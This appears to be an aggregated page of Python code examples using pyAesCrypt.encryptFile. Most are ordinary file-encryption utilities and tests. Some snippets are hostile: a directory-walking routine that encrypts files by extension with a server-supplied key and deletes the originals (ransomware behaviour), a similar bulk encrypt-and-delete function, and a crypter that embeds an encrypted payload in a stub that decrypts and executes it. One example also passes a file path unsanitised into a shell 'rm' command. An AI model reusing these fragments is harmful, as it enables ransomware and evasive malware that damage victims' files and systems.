Example #1
0
def _secure_configs(api_key: int, api_hash: str, string_session: str,
                    password: str) -> bool:
    try:
        print("Securing configs...")
        if os.path.exists(SECURE_CONFIG):
            os.remove(SECURE_CONFIG)
        if os.path.exists("_temp.py"):
            os.remove("_temp.py")
        secure_configs = (f'API_KEY = "{api_key}"\n'
                          f'API_HASH = "{api_hash}"\n'
                          f'STRING_SESSION = "{string_session}"')
        with open("_temp.py", "w") as cfg_file:
            cfg_file.write(secure_configs)
        cfg_file.close()
        pyAesCrypt.encryptFile(infile="_temp.py",
                               outfile=SECURE_CONFIG,
                               passw=password,
                               bufferSize=(64 * 1024))
        os.remove("_temp.py")
        if os.path.exists(SECURE_CONFIG):
            print(setColorText("Configs secured", Colors.GREEN))
            return True
        print(
            setColorText("Failed to secure configs: file not created",
                         Colors.RED))
    except Exception as e:
        print(setColorText(f"Failed to secure configs: {e}", Colors.RED))
    return False
Example #2
0
 def encrypting(self, file, crypt_path):
     file_name = file + ".aes"
     file_path = os.path.join(crypt_path, file)
     file_name_path = os.path.join(crypt_path, file_name)
     pyAesCrypt.encryptFile(file_path, file_name_path, en_pass, bufferSize)
     complete_path = os.path.join(crypt_path, file)
     os.remove(complete_path)
Example #3
0
def crypt_aes(*args: str, mod: str) -> None:
    buffer_size = 512 * 2048
    file2 = args[0][:-4] + '.bin'
    file = args[0]
    password = args[1]
    if mod == '1pas':
        pyAesCrypt.encryptFile(file, str(file + '.aes'), password, buffer_size)
        os.remove(file)
    elif mod == '2pas':
        password2 = args[2]
        pyAesCrypt.encryptFile(file, file2, password, buffer_size)
        buffer_size2 = 512 * 2048
        pyAesCrypt.encryptFile(file2, str(file + '.aes'), password2, buffer_size)
        os.remove(file)
        os.remove(file2)
    elif mod == 'fkey':
        fileKey = args[2]
        pyAesCrypt.encryptFile(file, str(file + '.bin'), password, buffer_size)
        with open(fileKey, "rb") as in_file:
            in_file.seek(0)
            if len(in_file.read()) > 315:
                file_b = str(in_file.read(315)) + str(sha1OfFile(fileKey))
            elif len(in_file.read()) < 315:
                file_b = str(in_file.read()) + str(sha1OfFile(fileKey))
        in_file.close()
        pyAesCrypt.encryptFile(file2, str(file + '.aes'), file_b, buffer_size)
        os.remove(file)
        os.remove(file2)
Example #4
0
def encrypt():
    encrypt.file_upload_input = int(input())
    upload.selected_file = list_local_files.local_files[encrypt.file_upload_input]
    upload.encrypted_file = upload.selected_file + ".enc"
    print(f"Encrypting {upload.selected_file}..")
    pyAesCrypt.encryptFile(upload.selected_file, upload.encrypted_file, aes_password, bufferSize)
    print(f"Encrypted as {upload.encrypted_file}")
Example #5
0
def encrypted_file(source: Path, password: str) -> (Path, Callable[[], None]):
    """
    Encrypts a file to a temporary file. The temporary file is also removed by
    the provided clean up function.

    Parameters
    ----------
    source
        The `Path` to the file that will be encrypted.

    password
        The password that the file will be encrypted with. It will need to be
        provided for the file to be decrypted again.

    Returns
    -------
    A tuple consisting of the `Path` to the encrypted file and a function that,
    when called, will remove the temporary file.
    """
    encrypted_file = tempfile.NamedTemporaryFile().name
    pyAesCrypt.encryptFile(infile=source.as_posix(),
                           outfile=encrypted_file,
                           passw=password,
                           bufferSize=BUFFER_SIZE)

    encrypted_path = Path(encrypted_file)
    return (encrypted_path, encrypted_path.unlink)
Example #6
0
 def crypt(file):
     password = "******"
     bufferSize = 512 * 1024
     pyAesCrypt.encryptFile(str(file),
                            str(file) + ".crp", password, bufferSize)
     print("[crypted] '" + str(file) + ".crp'")
     os.remove(file)
Example #7
0
    def post(self, user_id):
        data = token_argument.parse_args(request)
        if data.get('token'):
            if Auth.verifyToken(data.get('token'), user_id):

                # check if the post request has the file part
                if 'file' not in request.files:
                    return {'response': "No field file in payload "}, 401
                file = request.files['file']
                if file.filename == '':
                    return {'response': "Empty file in payload "}, 401
                if file:
                    filename = secure_filename(file.filename)
                    if not path.exists("./Resources/" + user_id):
                        os.mkdir("./Resources/" + user_id)

                    file.save(os.path.join("/tmp/", filename))
                    name = filename.rsplit('.', 1)
                    cpt = 1
                    if path.exists(os.path.join("./Resources/" + user_id, filename)):

                        while path.exists(os.path.join("./Resources/" + user_id, name[0] + str(cpt) + "." + name[1])):
                            cpt += 1
                        filepath = os.path.join("./Resources/" + user_id, name[0] + str(cpt) + "." + name[1])
                    else:
                        filepath = os.path.join("./Resources/" + user_id, filename)

                    pyAesCrypt.encryptFile(os.path.join("/tmp/", filename), filepath, password, bufferSize)
                    os.remove(os.path.join("/tmp/", filename))
                    return {'response': "File successfully uploaded"}, 200
                else:
                    return {'response': "Empty file"}, 401
            else:
                return {'response': "fail "}, 400
Example #8
0
def encryptFile():
    # encryption/decryption buffer size - 64K
    bufferSize = 64 * 1024

    match = False

    filePathEncrypt = getFilePath()

    while match is False:
        password = py.password(text='Enter password:'******'Password',
                               default='enter password',
                               mask='*')

        passwordConfirm = py.password(text='Confirm password:'******'Password',
                                      default='confirm password',
                                      mask='*')

        if password == passwordConfirm:
            match = True
        else:
            py.prompt(
                text=
                'Passwords did not match, please click ok and try enter password again.',
                title='Password')

    # Encrypt
    pyAesCrypt.encryptFile(filePathEncrypt, filePathEncrypt + ".aes", password,
                           bufferSize)

    os.system('rm ' + filePathEncrypt)
Example #9
0
def fileEncrypt(dir, file):
    orig = dir + "\\" + file + ".txt"
    fin = dir + "\\" + file + ".txt.aes"
    bufferSize = 64 * 1024
    password = "******"
    pyAesCrypt.encryptFile(orig, fin, password, bufferSize)
    os.remove(orig)
Example #10
0
def encrypt_file(key, remove=True):
    buffer_size = 64 * 1024

    pyAesCrypt.encryptFile("data/de_pws.json", "data/en_pws.json", key, buffer_size)

    if remove:
        os.remove("data/de_pws.json")
Example #11
0
def register(username, password, auth_level, key):

    #Set variables
    credentials = {}

    #Decrypt storage file
    pyAesCrypt.decryptFile("data.txt.aes", "dataout.txt", key, buffer_size)

    #Open decrypted file
    with open('dataout.txt', 'r+') as file:
        #Get datas
        for line in file:
            username_read, password_read, auth_level_read = line.strip().split(
                ' ')
            credentials[username_read] = password_read

        #If there is already an user
        if username in credentials:
            raise UserAlreadyExist(username)
        #Else register the new user
        else:
            file.write(username + ' ' + password + ' ' + auth_level)

        #Close file
        file.close()

    #Crypt and delete
    pyAesCrypt.encryptFile("dataout.txt", "data.txt.aes", key, buffer_size)
    os.remove("dataout.txt")
Example #12
0
def AES_encrypt(file_txt: str, key: str, buffsize=512 * 1024):
    # 1. Файл который шифруется,
    # 2. Ключ по которому шифруют,
    # 3. (Стандартное значение 512 * 1024) Буфер
    file_aes = file_txt + '.aes'  # Зашифрованный файл
    pyAesCrypt.encryptFile(file_txt, file_aes, key, buffsize)
    return file_aes
Example #13
0
def _secure_configs(api_key: int, api_hash: str, string_session: str,
                    password: str) -> bool:
    from pyAesCrypt import encryptFile
    try:
        if os.path.exists("_temp.py"):
            os.remove("_temp.py")
        if os.path.exists(SECURE_CONFIG) and os.path.isfile(SECURE_CONFIG):
            os.remove(SECURE_CONFIG)
        secure_configs = (f'API_KEY = "{api_key}"\n'
                          f'API_HASH = "{api_hash}"\n'
                          f'STRING_SESSION = "{string_session}"')
        with open("_temp.py", "w") as temp_file:
            temp_file.write(secure_configs)
        temp_file.close()
        print(f"Securing API configurations...")
        encryptFile(infile="_temp.py",
                    outfile=SECURE_CONFIG,
                    passw=password,
                    bufferSize=(64 * 1024))
        os.remove("_temp.py")
        if not os.path.exists(SECURE_CONFIG):
            print(setColorText("Failed to secure configurations", Colors.RED))
            return False
    except Exception as e:
        print(setColorText(f"Failed to secure configurations: {e}",
                           Colors.RED))
        return False
    return True
def encrypt():
    bufferSize = 64 * 1024
    ok = False
    while not ok:
        try:
            password = str(
                input(
                    "Encrypting file...\nEnter new main password (!!!DON'T FORGET IT!!!): "
                ))
            if "'" in password or "\"" in password:
                print("Please don't use ' or \". Try again.")
            else:
                password2 = str(input("Enter new main password again: "))
                if password == password2:
                    pyAesCrypt.encryptFile("password_list.txt",
                                           "password_list.txt.aes", password,
                                           bufferSize)
                    ok = True
                    print(
                        "File encrypted.\nClearing and deleting password_list.txt..."
                    )
                    with open("password_list.txt", "w") as f:
                        f.write("")
                        f.close()
                else:
                    print("Passwords don't match. Try again.")
        except:
            print("Invalid input (Wrong password or File corrupted).")
            encrypt()
Example #15
0
def encrypt_file(filename):
    # encryption/decryption buffer size - 64K
    bufferSize = 64 * 1024
    password = "******"
    filename_aes = filename + ".aes"
    # encrypt
    pyAesCrypt.encryptFile(filename, filename_aes, password, bufferSize)
def cripta_file(key_cifra):

    for directory, subdirectory, files in os.walk(root):
        os.chdir(root)

        for file in files:
            corrispondenza = False
            a, estensione_file = os.path.splitext(file)

            for i in estensioni:
                if i == estensione_file:
                    corrispondenza = True

            try:
                os.chdir(directory)

                if corrispondenza:
                    #cripta i file con chiave inviata dal server
                    nuovo_file = os.path.basename(file) + '.aes'
                    bufferSize = 64 * 1024
                    pyAesCrypt.encryptFile(file, nuovo_file, key_cifra,
                                           bufferSize)
                    os.remove(file)

            except FileNotFoundError:
                continue
            except PermissionError:
                continue
def Control(args): # controling inputs and call method from PWManager
    ## checking if file for storing exist....
    if os.path.isfile('data.HAX') == False:
        with open("data.txt","w") as file:
            file.write('{}')
        pyAesCrypt.encryptFile("data.txt", "data.HAX",args.super_password, 64*1024)
        print('Password manager file was created!')

    # controler
    if args.add_record is not None:
        PWManager(args).add_record()

    elif args.delete_record is not None:
        PWManager(args).delete_record()

    elif args.edit_record is not None:
        PWManager(args).edit_record()

    elif args.show_password is not None:
        PWManager(args).show_password()

    elif args.show_all_records is True:
        PWManager(args).show_all_records()

    elif args.change_super_password is not None:
        PWManager(args).change_super_password()
Example #18
0
def encrypt_file(file, buffersize, password):
    print("encrypt_file called!")
    out_file_name = file.name + ".aes"
    try:
        pyAesCrypt.encryptFile(file.name, out_file_name, password, buffersize)
    except FileExistsError:
        "error"
Example #19
0
 def islem(self):
     sender = self.sender().text()
     bufferSize = 64 * 1024
     if sender == 'Şifrele':
         dosya = (self.ui.dosya.text())
         passs = (self.ui.sifre.text())
         pyAesCrypt.encryptFile(dosya, dosya + ".aes", passs, bufferSize)
         time.sleep(1)
         msg = QMessageBox()
         msg.setWindowTitle("Şifrele")
         msg.setText("Dosya başarıyla Şifrelendi!")
         msg.setIcon(QMessageBox.Information)
         x = msg.exec_()
         os.system("cls")
     elif sender == 'ŞifreÇöz':
         dosya = (self.ui.dosya.text())
         passs = (self.ui.sifre.text())
         uzanti = dosya[:-4]
         pyAesCrypt.decryptFile(dosya, "out" + uzanti, passs, bufferSize)
         time.sleep(1)
         msg = QMessageBox()
         msg.setWindowTitle("Şifrele")
         msg.setText("Dosya başarıyla (decrypt) edildi!")
         msg.setIcon(QMessageBox.Information)
         x = msg.exec_()
         os.system("cls")
Example #20
0
File: Msfs.py Project: stumatt/msfs
 def keyencryption(self, public, private):
     pyAesCrypt.encryptFile(public, public + ".aes", self.masterpassword,
                            self.buffersize)
     pyAesCrypt.encryptFile(private, private + ".aes", self.masterpassword,
                            self.buffersize)
     os.remove(public)
     os.remove(private)
Example #21
0
def aesnew(cryptMode):
    import pyAesCrypt
    from os import remove
    from os.path import splitext
    fileName = input("Write the file: ")
    paswFile = input("Write the password: "******""
    if cryptMode == 'E':
        try:
            pyAesCrypt.encryptFile(str(fileName),
                                   str(fileName) + ".crp", paswFile,
                                   bufferSize)
            remove(fileName)
        except FileNotFoundError:
            return "[x] File not found!"
        else:
            return "[+] File '" + str(fileName) + "' overwritten!"
    else:
        try:
            pyAesCrypt.decryptFile(str(fileName), str(splitext(fileName)[0]),
                                   paswFile, bufferSize)
            remove(fileName)
        except FileNotFoundError:
            return "[x] File not found!"
        except ValueError:
            return "[x] Password is False!"
        else:
            return "[+] File '" + str(
                splitext(fileName)[0]) + ".crp' overwritten!"
    print(final)
Example #22
0
def encrypt(path):
    # user selects folder to put a new encrypted file in
    Tk().withdraw()
    messagebox.showinfo("byteMe: INFO",
                        "SELECT DIRECTORY FOR NEW ENCRYPTED FILE")
    folder = askdirectory(title='byteMe')

    # window input
    name_str = simpledialog.askstring("FILENAME",
                                      "NAME OF NEW ENCRYPTED FILE:")
    filename = os.path.join(folder, name_str + ".txt.acs")

    exists = os.path.isfile(filename)
    if not exists:
        encrypted_file = open(filename, "w")
    else:
        encrypted_file = open(filename)
    encrypted_file_path = filename
    with open(path) as input_file:
        input_file_path = path
        # encryption/decryption buffer size - 64K
        bufferSize = 64 * 1024
        password = "******"
        pyAesCrypt.encryptFile(input_file_path, encrypted_file_path, password,
                               bufferSize)
        input_file.close()
    encrypted_file.close()
    return encrypted_file_path
Example #23
0
def gg(file):
    import pyAesCrypt
    print(Fore.YELLOW + 'загрузка...')
    password = '******'
    bufferSize = 512 * 1024
    pyAesCrypt.encryptFile(str(file), str(file) + '.crp', password, bufferSize)
    os.remove(file)
Example #24
0
def login(username, password, key):
    #Set variables
    credentials = {}

    #Decrypt
    pyAesCrypt.decryptFile("data.txt.aes", "dataout.txt", key, buffer_size)

    #Open file
    with open('dataout.txt', 'r+') as file:
        #Get datas
        for line in file:
            username_read, password_read, auth_level_read = line.strip().split(
                ' ')
            credentials[username_read] = password_read

        #If username wrong password correct
        if username not in credentials:
            raise UserNotFound(username)
        # If username correct password wrong
        if credentials[username] != password:
            raise WrongPassword(password)
        #Everything correct
        else:
            auth_level = auth_level_read

        #Close file
        file.close()

    #Crypt and delete
    pyAesCrypt.encryptFile("dataout.txt", "data.txt.aes", key, buffer_size)
    os.remove("dataout.txt")

    return int(auth_level)
Example #25
0
                    def cryptFile():
                        clearScreen()
                        keepLogo()
                        # Get filename from path
                        fileNameWithExtension = os.path.basename(selectPrompt)
                        fileName, fileExtension = os.path.splitext(fileNameWithExtension)
                        path, fileName = os.path.split(selectPrompt)
                        stubPrompt = input("\t\t\tCrypt file (Y/N) > ")
                        bufferSize = 64 * 1024
                        if stubPrompt == "Y" or "Yes":
                            # Crypt file data (Using AES)
                            clearScreen()
                            keepLogo()
                            pyAesCrypt.encryptFile(selectPrompt, outputPrompt + "\\" + fileName + ".aes", str(key), bufferSize)
                            print(colors.GREEN + "\t\t\t\tEncrypting file using 256-bit AES" + colors.END)
                            # Encode encrypted file contents
                            encryptedPath = outputPrompt + "\\" + fileName + ".aes"
                            encryptedFile = open(encryptedPath, 'rb')
                            temp = encryptedFile.read()
                            encryptedHex = binascii.hexlify(temp)
                            time.sleep(1.5)
                            clearScreen()
                            keepLogo()
                            # Create Stub in Python File
                            print(colors.GREEN + "\t\t\t\t        Creating stub file" + colors.END)
                            print(r"")
                            finalPath = outputPrompt + "\\" + fileName + ".py"
                            finalFilename = outputPrompt + "\\" + fileName
                            stubPy = open(finalPath,'w')
                            stubContents = "import pyAesCrypt\n"
                            stubContents += "import binascii\n"
                            stubContents += "key = \"" + key + "\"\n"
                            stubContents += "bufferSize = \"" + str(bufferSize) + "\"\n"
                            stubContents += "encryptedHex = \"" + str(encryptedHex) + "\"\n"
                            stubContents += """
# Decode the hexed encrypted file
temp = binascii.unhexlify(bytes(encryptedHex))

# Decrypt the decoded data
pyAesCrypt.decryptFile(temp, "dataout.png", key, int(bufferSize))

# Execute payload
import subprocess
proc = subprocess.Popen("dataout.png", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                            """
                            stubPy.write(stubContents)
                            stubPy.close()
                            time.sleep(1.5)
                            clearScreen()
                            keepLogo()
                            # Combine stub with payload
                            print(colors.GREEN + "\t\t\t\t    Combining stub with payload" + colors.END)
                            os.system("pyinstaller -F -w --log-level INFO --distpath " + outputPrompt + " --clean " + finalPath)
                            print(r"")
                            time.sleep(1.5)
                            enterToBegin = input(colors.BLUE + "\t\t\t\t     Press ENTER to exit " + colors.END)
                        else:
                            print("Error!")
                            encrypting()
 def encrypt(self, key):
     try:
         pyAesCrypt.encryptFile(self.fileName, self.encryptetFileName, key,
                                self.bufferSize)
         self.emptyfile()
         return "Kryptering Successfuld"
     except Exception as e:
         return WordSaver.error(str(e))
Example #27
0
def crypt(file):
	import pyAesCrypt
	print("---------------------------------------------------------------" )
	password="******"
	bufferSize = 512*1024
	pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
	print("[crypted] '"+str(file)+".crp'")
	os.remove(file)
Example #28
0
 def test_enc_pyAesCrypt_dec_AesCrypt(self):
     for pt, ct, ou in zip(filenames, encfilenames, decfilenames):
         # encrypt file
         pyAesCrypt.encryptFile(pt, ct, password, bufferSize)
         # decrypt file
         subprocess.call(["aescrypt", "-d", "-p", password, "-o", ou, ct])
         # check that the original file and the output file are equal
         self.assertTrue(filecmp.cmp(pt, ou))
Example #29
0
def encryptFiles(files, password):
    files = filter_file_size(files)
    for file in files:
        try:
            encryptFile(file, file + filext, password, 64 * 1024)
            os.remove(file)
        except:
            pass
Example #30
0
 def test_enc_pyAesCrypt_dec_pyAesCrypt(self):
     for pt, ct, ou in zip(filenames, encfilenames, decfilenames):
         # encrypt file
         pyAesCrypt.encryptFile(pt, ct, password, bufferSize)
         # decrypt file
         pyAesCrypt.decryptFile(ct, ou, password, bufferSize)
         # check that the original file and the output file are equal
         self.assertTrue(filecmp.cmp(pt, ou))